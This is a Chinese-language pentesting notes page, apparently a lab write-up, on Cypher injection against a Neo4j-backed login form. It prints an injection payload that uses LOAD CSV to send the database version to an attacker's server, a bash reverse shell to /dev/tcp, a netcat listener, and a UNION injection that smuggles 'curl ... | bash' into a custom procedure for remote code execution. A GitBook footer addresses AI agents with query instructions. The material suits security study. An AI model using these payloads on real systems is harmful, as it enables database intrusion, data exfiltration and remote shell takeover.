> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).

# Cypher Neo4j 注入

## Neo4j Cypher 注入

一个登录表单存在漏洞。当我们输入时会出现错误 `'`.

<figure><img src="/files/0383112763056d266fb6e2bc51e30ae938100e88" alt=""><figcaption></figcaption></figure>

我们注入了一段 Cypher 载荷来获取 Neo4j 的版本：

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
  "password": "test"
}

```

{% endcode %}

<figure><img src="/files/dbcbebb028da7f666380de6779d3973c3009a7fc" alt=""><figcaption></figcaption></figure>

在我们的服务器上，收到了请求：

```bash
python3 -m http.server 80
# Cypher Neo4j 注入

```

<figure><img src="/files/6bd20fa05676e1ed82b6ee3b0cb47e7089b8ea97" alt=""><figcaption></figcaption></figure>

### 通过调用来实现 RCE `custom.getUrlStatusCode()`

<figure><img src="/files/fb601c44c0ccd85a6544b28fbb413998c031d1e2" alt=""><figcaption></figcaption></figure>

我们在……中放置一个反向 shell `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

```

我们在……中放置一个反向 shell `index.html`:

```bash
nc -nlvp 443

```

使用联合注入来调用这个 **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}

```

<figure><img src="/files/621e50dfe73ffc49810a7c0abac7c7124bd9db18" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
